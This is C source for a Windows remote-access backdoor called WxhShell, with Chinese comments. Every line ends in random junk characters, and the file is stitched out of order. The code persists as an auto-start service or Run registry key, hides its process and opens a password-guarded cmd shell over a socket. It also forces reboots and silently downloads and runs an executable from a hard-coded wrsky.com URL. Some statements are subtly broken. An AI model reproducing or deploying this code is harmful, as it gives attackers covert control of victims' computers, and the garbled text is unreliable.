    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @>n7  
    if(Boot(SHUTDOWN)) kR2kV"-l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DPCB=2E  
    else { !"~x.LX \  
    closesocket(wsh); (jbHV.]P9  
    ExitThread(0); oc+TsVt  
    } h>AK^fX  
    break; fgrflW$  
    } wVU.j$+_#  
  // 获取shell xj8 yQ Y1  
  case 's': { -j1?l Y  
    CmdShell(wsh); Vmq:As^a  
    closesocket(wsh); l"70|~  
    ExitThread(0); w U".^ +  
    break; 8aDh HXI  
  } s8L=:hiSf)  
  // 退出 32nB9[l  
  case 'x': { 5}S~8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XpWcf ([  
    CloseIt(wsh); >yk@t&j,  
    break; w<=?%+n  
    } -]$q8 Q(hM  
  // 离开 G?`{OW3:_  
  case 'q': { xN lxi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {nvF>  
    closesocket(wsh); ctI=|K  
    WSACleanup(); \*x'7c/qg  
    exit(1); T1,Nb>gBq^  
    break; m)"gj**|y  
        } Jbv66)0M  
  } cAFYEx/(  
  } j#:IG/)GL  
7A6Qrfw  
  // 提示信息 (QS4<J"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = BcKWC  
} []^fb,5a  
  } <'WS -P%U  
t&5N{C:  
  return; O5X@'.#rU  
} in}d(%3h  
z~8`xn,  
// shell模块句柄 JZ=ahSi  
int CmdShell(SOCKET sock) gY!+x=cx0  
{ [;6,lI}  
STARTUPINFO si; C_CUk d[  
ZeroMemory(&si,sizeof(si)); (*qMs)~]B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ @XvEx%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B^|^hZZ>  
PROCESS_INFORMATION ProcessInfo; vndD#/lXq  
char cmdline[]="cmd"; K qK?w*Qw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @fz0-vT,  
  return 0; 7 ) Q>R  
} :Vdo.uUa  
% YgGw:wZ  
// 自身启动模式 :pz`bFJk  
int StartFromService(void) s=KK)6T  
{ O4`am:@  
typedef struct 3m;*gOLk6  
{ ?7;_3+T#  
  DWORD ExitStatus; .VD:FFkW  
  DWORD PebBaseAddress; oU|yBs1  
  DWORD AffinityMask; PMOyZ3  
  DWORD BasePriority; V LXU  
  ULONG UniqueProcessId; K/T4T\  
  ULONG InheritedFromUniqueProcessId; dZ6\2ok+  
}   PROCESS_BASIC_INFORMATION; +K2p2Dw(k  
}N^3P0XjYq  
PROCNTQSIP NtQueryInformationProcess; 76IjM4&a  
@%"+;D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3lh^maQ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L0^rw|Z%'  
Nw3K@ Ge  
  HANDLE             hProcess; [hhPkJf|f  
  PROCESS_BASIC_INFORMATION pbi; F7!q18ew  
fx74h{3u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c]Z@L~WW  
  if(NULL == hInst ) return 0; 6gy;Xg  
ta;q{3fe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GkU]>8E'"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :o37 V!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QmiS/`AAv  
XEX-NE"]  
  if (!NtQueryInformationProcess) return 0; NzBX2  
0&21'K)pW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z5tOsU  
  if(!hProcess) return 0; (Ts#^qC  
5~!&x@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7my7|s[  
UngK9uB~  
  CloseHandle(hProcess); ~;AJB  
v)c[-:"z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]y kMh  
if(hProcess==NULL) return 0; =w,cdU*  
}LA7ku  
HMODULE hMod; +$CO  
char procName[255]; #Y_v0.N  
unsigned long cbNeeded; E9N.b.Q)  
*B*dWMh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8+|7*Ud  
<&CzM"\Em  
  CloseHandle(hProcess); &sA@!  
Y^(NzN  
if(strstr(procName,"services")) return 1; // 以服务启动 Kk9eJ\  
ZHN}:W/p  
  return 0; // 注册表启动 -~+Y0\%E  
} a +lTAe  
@%[ dh@oY  
// 主模块 0}4FwcCr\  
int StartWxhshell(LPSTR lpCmdLine) 8GKqPS+  
{ o0B3G  
  SOCKET wsl; [j;#w,Wb  
BOOL val=TRUE; 7dh--.i  
  int port=0; hsJS(qEh.'  
  struct sockaddr_in door; ~IQ2;A  
IEj=pI   
  if(wscfg.ws_autoins) Install(); ,b${3*PPQ  
n&fV^ x  
port=atoi(lpCmdLine); <&m `)FJ  
HUWCCVn&  
if(port<=0) port=wscfg.ws_port; +cf.In,{  
<8sy*A?0z  
  WSADATA data; nq,P.~l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d>bS)  
wM0P#+bA\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L9bIdiB7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r>kDRIHB  
  door.sin_family = AF_INET; i-W!`1LH'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6$'0^Ftm'  
  door.sin_port = htons(port); ,/1[(^e  
iosL&*'8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :G/.h[\R|  
closesocket(wsl); Op 0Qpn  
return 1; HLYo+;j3|  
} N1l&$#Fr!s  
*{%d{x}l  
  if(listen(wsl,2) == INVALID_SOCKET) { $g@-WNe  
closesocket(wsl); xA#'%|"  
return 1;  gU%R9  
} fs3jPHZJ#  
  Wxhshell(wsl); }DzN-g<K  
  WSACleanup(); 1 GB  
\EC7*a0  
return 0; (cpaMn@)g  
cuUlr  
} -)o0P\cTEt  
$8t\|O3  
// 以NT服务方式启动 Q%Y r m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 67b[T~92o  
{ >G<.^~o  
DWORD   status = 0; <f/wWu}  
  DWORD   specificError = 0xfffffff; n%%u0a %  
4K<T_B/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?6>rQ6tBv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jb {5   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6u-aV  
  serviceStatus.dwWin32ExitCode     = 0; YThFskRoO  
  serviceStatus.dwServiceSpecificExitCode = 0; @K}8zMmW#  
  serviceStatus.dwCheckPoint       = 0; }29Cm$p  
  serviceStatus.dwWaitHint       = 0; *=~X1s  
lBcRt)_O7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qcdENIy0b  
  if (hServiceStatusHandle==0) return; ]>'yt #]  
Jz Z9ua  
status = GetLastError(); ?:1)=I<A4  
  if (status!=NO_ERROR) ]Yd7  
{ d*(wU>J '  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %n<.)R  
    serviceStatus.dwCheckPoint       = 0; ,Y_[+  
    serviceStatus.dwWaitHint       = 0; ypA)G/;  
    serviceStatus.dwWin32ExitCode     = status; (g 9G!I   
    serviceStatus.dwServiceSpecificExitCode = specificError; /&Vgo ~.J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a"|\n_  
    return; u*C"d1v=  
  } C~([aH@-I  
ab-MEN`5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sXmo.{Ayb  
  serviceStatus.dwCheckPoint       = 0; y |0I3n]e  
  serviceStatus.dwWaitHint       = 0; D-!#TN`Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BH$+{rZ8t  
} jy2@t*  
B$kp\yL  
// 处理NT服务事件,比如:启动、停止 f8X/kz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YkqauyV^  
{ @Tl!A1y?  
switch(fdwControl) D|BP]j}6  
{ |0A:0'uA!  
case SERVICE_CONTROL_STOP: z,#3YC{'  
  serviceStatus.dwWin32ExitCode = 0; Me|+)}'p5h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; twA2U7F  
  serviceStatus.dwCheckPoint   = 0; 0-{l4;o  
  serviceStatus.dwWaitHint     = 0; DZ9qIc}Y  
  { TV&4m5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {aRZBIv  
  } Vy:MK9U2  
  return; eODprFkt}  
case SERVICE_CONTROL_PAUSE: ^68BxYUoD\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .1 =8c\%  
  break; Q8sCI An{  
case SERVICE_CONTROL_CONTINUE: %=O$@.%Zc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hxm CKW!  
  break; YvP u%=eF  
case SERVICE_CONTROL_INTERROGATE: [ queXDn"m  
  break; wcI4Y0+J  
}; WP-'gC6K=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fo1|O&>  
} mlmXFEC  
1n86Mp1.e  
// 标准应用程序主函数 $EuWQq7OI2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gr a(DGX  
{ VSI.c`=,  
yt-F2Z&  
// 获取操作系统版本 wc ! v /A  
OsIsNt=GetOsVer(); L beMP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0- 'f1 1S  
,B<Tt|'  
  // 从命令行安装 &3;yho8v@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,UD,)ZPf[  
ecI[lB  
  // 下载执行文件 ]&D;'),   
if(wscfg.ws_downexe) { 2\,vq R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G2x5%`   
  WinExec(wscfg.ws_filenam,SW_HIDE); 6c/Tm0[  
} A -dL_3  
H#joc0?P  
if(!OsIsNt) { FS vtiNW<  
// 如果时win9x,隐藏进程并且设置为注册表启动 I@f">&^  
HideProc(); Y_) aoRjB  
StartWxhshell(lpCmdLine); .2jG~_W[  
} 1Jx|0YmO  
else [@qUQ,Ie  
  if(StartFromService()) Yjr6/&ML  
  // 以服务方式启动 rl,6r u  
  StartServiceCtrlDispatcher(DispatchTable);  :_qgpE<  
else >Tm|}\qEb  
  // 普通方式启动 zJfoU*G/B  
  StartWxhshell(lpCmdLine); TZ7{cekQ  
lj1wTiaI(  
return 0; h|!F'F{  
} n+EK}= DK  
?CQ\9 4kO  
E!4Qc+.   
Q1Jkt  
=========================================== :q2tda  
cJ%u&2J_  
.+H8c.  
='7n  
USnKj_e  
.bm#|X)RO  
" ezt_ct/Z  
#@m*yJg<  
#include <stdio.h> d`| W6Do  
#include <string.h> %KeQp W  
#include <windows.h> G~{xTpL  
#include <winsock2.h> \Mv8pU  
#include <winsvc.h> ;n*N9-|.  
#include <urlmon.h> O/IW.t  
qO<'_7TN[  
#pragma comment (lib, "Ws2_32.lib") xy% lp{  
#pragma comment (lib, "urlmon.lib") ua['rOnU  
dQ8}mH!  
#define MAX_USER   100 // 最大客户端连接数 sg(L`P  
#define BUF_SOCK   200 // sock buffer H7e/6t<x  
#define KEY_BUFF   255 // 输入 buffer fuQ|[tpvQG  
eo4<RDe<  
#define REBOOT     0   // 重启 ]u_^~  
#define SHUTDOWN   1   // 关机 `F>1xMm  
62}bs/%  
#define DEF_PORT   5000 // 监听端口 &Z+a (  
)>ed6A1  
#define REG_LEN     16   // 注册表键长度 [|2uu."$  
#define SVC_LEN     80   // NT服务名长度 E( M\U5o:  
[H#I:d-+\  
// 从dll定义API xa#:oKF3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5hE8b  {V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yKO84cSl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x7J|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rbnu:+!  
UcMe("U  
// wxhshell配置信息 P,!k^J3:l  
struct WSCFG { l%"eQ   
  int ws_port;         // 监听端口 lC6#EU;  
  char ws_passstr[REG_LEN]; // 口令 V|{ )P@Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no (J): >\a]  
  char ws_regname[REG_LEN]; // 注册表键名 :&`Yz   
  char ws_svcname[REG_LEN]; // 服务名 dCcV$BX,K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WjGv%^?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J%xp1/= 2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~?aq=T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M~7?m/Wj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3Fh<%<=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :*1Gs,  
<27B*C M  
}; h^$>{0"  
dH!k {3bL  
// default Wxhshell configuration @6i^wC  
struct WSCFG wscfg={DEF_PORT, VVJhQbP  
    "xuhuanlingzhe", C9Fc(Y?_  
    1, G#Z%jO-XN  
    "Wxhshell", C^r3r6  
    "Wxhshell", +U^dllL7  
            "WxhShell Service", ap\2={u^|  
    "Wrsky Windows CmdShell Service", g 4d 5G=y  
    "Please Input Your Password: ", mCtuyGY  
  1, &P!^k0NJR  
  "http://www.wrsky.com/wxhshell.exe", sEdWBT 8  
  "Wxhshell.exe" 2Z,;#t  
    }; ekP=/;T#S  
YjS|Ht->  
// 消息定义模块 /k1&?e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [_qBp:_j?s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I~"-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \,JRNL&   
char *msg_ws_ext="\n\rExit."; QE!cf@~n"  
char *msg_ws_end="\n\rQuit."; |82V` CV  
char *msg_ws_boot="\n\rReboot..."; >Q+a'bd w  
char *msg_ws_poff="\n\rShutdown..."; ,D3q8?j  
char *msg_ws_down="\n\rSave to "; u!nt0hS  
I_#)>%H  
char *msg_ws_err="\n\rErr!"; UNYU2ze'  
char *msg_ws_ok="\n\rOK!"; RGLwtN  
KEY M@,'  
char ExeFile[MAX_PATH]; *D;B%j^;  
int nUser = 0; Ec0Ee0%A]  
HANDLE handles[MAX_USER]; \I,<G7!0  
int OsIsNt; Qkqn~>  
6! g3Juh  
SERVICE_STATUS       serviceStatus; &66G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d&?B/E^  
/R k5n  
// 函数声明 3Luv$6  
int Install(void); :":W(O  
int Uninstall(void); OU9=O>  
int DownloadFile(char *sURL, SOCKET wsh); 0+r/>-3]  
int Boot(int flag); HK&F'\'}  
void HideProc(void); =q[3/'2V$?  
int GetOsVer(void); zK:/ 1  
int Wxhshell(SOCKET wsl); ,)GCg@7B  
void TalkWithClient(void *cs); $z@e19gT  
int CmdShell(SOCKET sock); Ks X@e)8u  
int StartFromService(void); j@kBCzX  
int StartWxhshell(LPSTR lpCmdLine); e@0wF59  
[Bpgb57En  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fw"~f5O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s/sH",  
LC[, K  
// 数据结构和表定义 M?$-u  
SERVICE_TABLE_ENTRY DispatchTable[] = \|j`jsq  
{ a+weBF#Z  
{wscfg.ws_svcname, NTServiceMain}, PU?kQZU~)  
{NULL, NULL} 6/@ cP/  
}; +-ieaF  
[(ty{  
// 自我安装 Di-"y,[  
int Install(void) 8CA4gnh  
{ pb E`Eq  
  char svExeFile[MAX_PATH]; S*#y7YKI  
  HKEY key; 30<dEoF  
  strcpy(svExeFile,ExeFile); "-<u.$fE  
`r>WVPS|  
// 如果是win9x系统,修改注册表设为自启动 %iD>^Dp  
if(!OsIsNt) { *A,=Y/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [(btpWxb^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kmov(V  
  RegCloseKey(key); yg\A&0I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O%c6vp7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~~5kAY-  
  RegCloseKey(key); 8%`Sx[  
  return 0; sSD(mO<(  
    } IUc!nxF#  
  } 3\mFK$#sr  
} i,4JS,82I  
else { 7BI0g@$Nn]  
R>gj"nB  
// 如果是NT以上系统,安装为系统服务 Mh_jlgE'd#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g4Hq<W"  
if (schSCManager!=0) =$BgIt  
{ tvb hWYe  
  SC_HANDLE schService = CreateService *~&W?i  
  ( 'a"<uk3DT  
  schSCManager, ZQ20IY|,  
  wscfg.ws_svcname, -'q=oTZ  
  wscfg.ws_svcdisp, C 7+TnJ  
  SERVICE_ALL_ACCESS, k9R1E/;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B[$KnQM9Y  
  SERVICE_AUTO_START, oTx#e[8f{  
  SERVICE_ERROR_NORMAL, lc5NC;JR  
  svExeFile, aL=VNZ!Pqc  
  NULL, &G<ZK9Ot}0  
  NULL, jsez$m%vs  
  NULL, 9wWjl}%  
  NULL, 4-3B"  
  NULL |{oKhC^yG  
  ); dr/!wr'&hS  
  if (schService!=0) {5%<@<? )  
  { DK)qBxc8  
  CloseServiceHandle(schService); Q?1 KxD!  
  CloseServiceHandle(schSCManager); O]2h=M@q.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;[9cj&7C<  
  strcat(svExeFile,wscfg.ws_svcname); Y$Uvt_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { },f7I^s|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >T!n* -Zn  
  RegCloseKey(key); 4G`YZZQ  
  return 0; B:x4H}`vh  
    } P_ ZguNH  
  }  K8 ThZY%  
  CloseServiceHandle(schSCManager); Ak}l6{ ..  
} `L;I/Hp  
} 9L&AbmIr  
s{iYf :  
return 1; K@>v|JD  
} <#R7sco'  
/5J! s="  
// 自我卸载 R jAeN#,?  
int Uninstall(void) dR=SW0Oa{  
{ ,bH  
  HKEY key; | c8u  
CyXcA;H,.  
if(!OsIsNt) { ^WD [>E~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =3J~ Fk  
  RegDeleteValue(key,wscfg.ws_regname); BO[A1'>  
  RegCloseKey(key); $x2<D :  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vF([mOZ  
  RegDeleteValue(key,wscfg.ws_regname); {'}Ofj   
  RegCloseKey(key); 1MV^~I8Dd  
  return 0; m=}kGzIY4  
  } @wa/p`gj5w  
} km|~DkJ\a`  
} NKI&n]EO  
else { c2F`S1Nu<  
I}8F3_b,#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $@#nn5^IX  
if (schSCManager!=0) gXfAz,  
{ `o*eLLk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A!^,QRkRN  
  if (schService!=0) YInW)My.h  
  { twN(]w}Ps|  
  if(DeleteService(schService)!=0) { CRqa[boU*  
  CloseServiceHandle(schService); =o HJ_  
  CloseServiceHandle(schSCManager); };KmMpBn  
  return 0; S%T1na^x  
  } Xg%zE  
  CloseServiceHandle(schService); 2]C0d8=*?  
  }  ipyO&v  
  CloseServiceHandle(schSCManager); O42An$}  
} RI%l& Hm  
} SZ1C38bd,.  
k~hL8ZT[  
return 1; vu#:D1/BB  
} P.fgt>v]  
/JfXK$`  
// 从指定url下载文件 'x18F#g  
int DownloadFile(char *sURL, SOCKET wsh) +_ G'FD  
{ U  *I52$  
  HRESULT hr; N4}h_mh^'  
char seps[]= "/"; woR)E0'qx  
char *token; 4%]{46YnK  
char *file; jBB<{VV|  
char myURL[MAX_PATH]; ~_oTEXT^O  
char myFILE[MAX_PATH]; }Jtaq[y\r  
`}=Fw0  
strcpy(myURL,sURL); U$J]^-AS  
  token=strtok(myURL,seps); |zUDu\MZ{  
  while(token!=NULL) MR~BWH?@1  
  { q6DhypB  
    file=token; onmO>q*  
  token=strtok(NULL,seps); \e?T 9c6,  
  } &\(YmY  
[+%*s3`c#  
GetCurrentDirectory(MAX_PATH,myFILE); uL= \t=  
strcat(myFILE, "\\"); jjbw.n+1  
strcat(myFILE, file); Xgl>kJy<#  
  send(wsh,myFILE,strlen(myFILE),0); " DFg"  
send(wsh,"...",3,0); fklM Yu4:n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [n^___7  
  if(hr==S_OK) npe*A  
return 0; &=UzF  
else 2n7[Op  
return 1; md2kZ.5u  
VEn%_9(]  
} 1|]-F;b  
9 o18VJR  
// 系统电源模块 :V"}"{ (6  
int Boot(int flag) dEL>Uly  
{ 1`uIjXr(  
  HANDLE hToken; 7oWv'  
  TOKEN_PRIVILEGES tkp; 9QYU J  
h'}5 "m  
  if(OsIsNt) { I2Us!W>6-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [|>.iH X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xtnB: 3  
    tkp.PrivilegeCount = 1; J'7Oxjlg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .xD-eWw3R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TwkzX|  
if(flag==REBOOT) { ~9n@MPS^!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'X?`+2wK   
  return 0; Ry(!< w,  
} X}Csl~W8in  
else { AD5tuY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "-Ns1A8  
  return 0; 3646.i[D  
} |#sP1w'l]  
  } t (1z+  
  else { {P]l{W@li  
if(flag==REBOOT) { e*g; +nz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,Bta)  
  return 0; h!Ka\By8#  
} $nVTN.k  
else { ^qDkSoqC"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V`%m~#Me  
  return 0; =DtM.oQ>  
} |%tR#!&[:g  
} @wg*~"d  
dFUsQ_]<  
return 1; =tP|sYR]^  
} CEUR-LK0  
7Ua Ll  
// win9x进程隐藏模块 a@ lK+t  
void HideProc(void) hA"N&v~  
{ ]y(#]Tw\  
>i0FGmxH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F"bbU/5  
  if ( hKernel != NULL ) ")LF;e  
  { 1di?@F2f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bFTWuM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FV^kOz  
    FreeLibrary(hKernel); } HvVL}7  
  } Ck[Z(=b$$:  
oACE:h9U  
return; :Ct} ||9/  
} 9(H8MUF0{  
O 4}cv  
// 获取操作系统版本 ly{ ~X  
int GetOsVer(void) 5[@4($q8  
{ mMa7Eyaf  
  OSVERSIONINFO winfo; *D\nsJ*g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]])i"oew  
  GetVersionEx(&winfo); l,d8% \  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^%_LA't'R  
  return 1; B'=*92i>S  
  else G& ;W  
  return 0; R!,RZ?|v  
} k|BEAdQ%M  
5v?6J#]2  
// 客户端句柄模块 kDm=Cjxv  
int Wxhshell(SOCKET wsl) W`;E-28Dg  
{ CwT52+Jb  
  SOCKET wsh; d2 d^XMe!  
  struct sockaddr_in client; @5kN L~2  
  DWORD myID; U"ga0X5  
b9:E0/6   
  while(nUser<MAX_USER) KJ~f ~2;  
{ >u6kT\|^C  
  int nSize=sizeof(client); m2 OP=z@)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ot/Y?=j~  
  if(wsh==INVALID_SOCKET) return 1; bbnAF*7s8  
AA@J~qd u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TeG'cKz  
if(handles[nUser]==0) v_Jp 9  
  closesocket(wsh); MenI>gd?  
else 6)H70VPJ  
  nUser++; T9(~^}_+9  
  } ()P?fed  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^^)Pv#[3  
{E@@14]g  
  return 0; 6C   
} 3L#KHTM  
mjH8q&szf  
// 关闭 socket Gd"lB*^Ht  
void CloseIt(SOCKET wsh) O/Da8#S<  
{  g\n@(T$)  
closesocket(wsh); in%+)`'nH7  
nUser--; jd~r~.y  
ExitThread(0); VCh%v-/  
} JSO>rpO  
qA*QFQ'-  
// 客户端请求句柄 |~'{ [?a*  
void TalkWithClient(void *cs) :p OX,  
{ r$*k-c9Bf  
Y5(`/  
  SOCKET wsh=(SOCKET)cs; :y]l`Mo -  
  char pwd[SVC_LEN]; 'e0qdY`  
  char cmd[KEY_BUFF]; 4(o0I~hpB?  
char chr[1]; \z<'6,b  
int i,j; jz/@Zg",  
+-xA/nU.c  
  while (nUser < MAX_USER) { cITQ,ah  
=TyN"0@  
if(wscfg.ws_passstr) { jLcW;7OAC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pcL02W|J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lQ)ZsFs=  
  //ZeroMemory(pwd,KEY_BUFF); }1'C!]j  
      i=0; v!40>[?|p  
  while(i<SVC_LEN) { eK`n5Z&Y\  
g_.BJ>Uv  
  // 设置超时 ()XL}~I{!A  
  fd_set FdRead; tpA7"JD  
  struct timeval TimeOut; <r9J+xh*p  
  FD_ZERO(&FdRead); 9e.n1  
  FD_SET(wsh,&FdRead); eF:6k qg  
  TimeOut.tv_sec=8; ,7tN&R_  
  TimeOut.tv_usec=0; hX~IZ((Hi8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `N2zeFG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .wYx_  
oDA1#-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <A+Yo3|7  
  pwd=chr[0]; 9KD2C>d<  
  if(chr[0]==0xd || chr[0]==0xa) { qH"e: wgL  
  pwd=0; @;Yb6&I;  
  break; |jc87(x <  
  }  03_tt7  
  i++; Z#MPlw0B  
    } f+J<sk  
R6CxNPRJ  
  // 如果是非法用户,关闭 socket 5U%u S^%DP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y~bp:FkS  
} p4|:u[:&  
5qB>Song  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0Tg/R4dI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ef Ra|7!HK  
=DvnfT<  
while(1) { p}O@ %*p .  
Cz m`5  
  ZeroMemory(cmd,KEY_BUFF); M HlP)'  
) T 3y,*  
      // 自动支持客户端 telnet标准   )vhHlZ *+  
  j=0; {v<Ig{{V  
  while(j<KEY_BUFF) { &+ JV\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R&=Y7MfZ  
  cmd[j]=chr[0]; qvhTc6oH  
  if(chr[0]==0xa || chr[0]==0xd) { `{8Sr)  
  cmd[j]=0; e,|"9OK  
  break; Xy=|qu  
  } h`?0=:Tru  
  j++; /V-7u  
    } 1&U'pp|T  
` _[\j]  
  // 下载文件 -9vAY+s.  
  if(strstr(cmd,"http://")) { 86.!s Q8b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )xlNj$(x5n  
  if(DownloadFile(cmd,wsh)) Nr6YQH*[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @N1ta-D#  
  else 6D _4o&N  
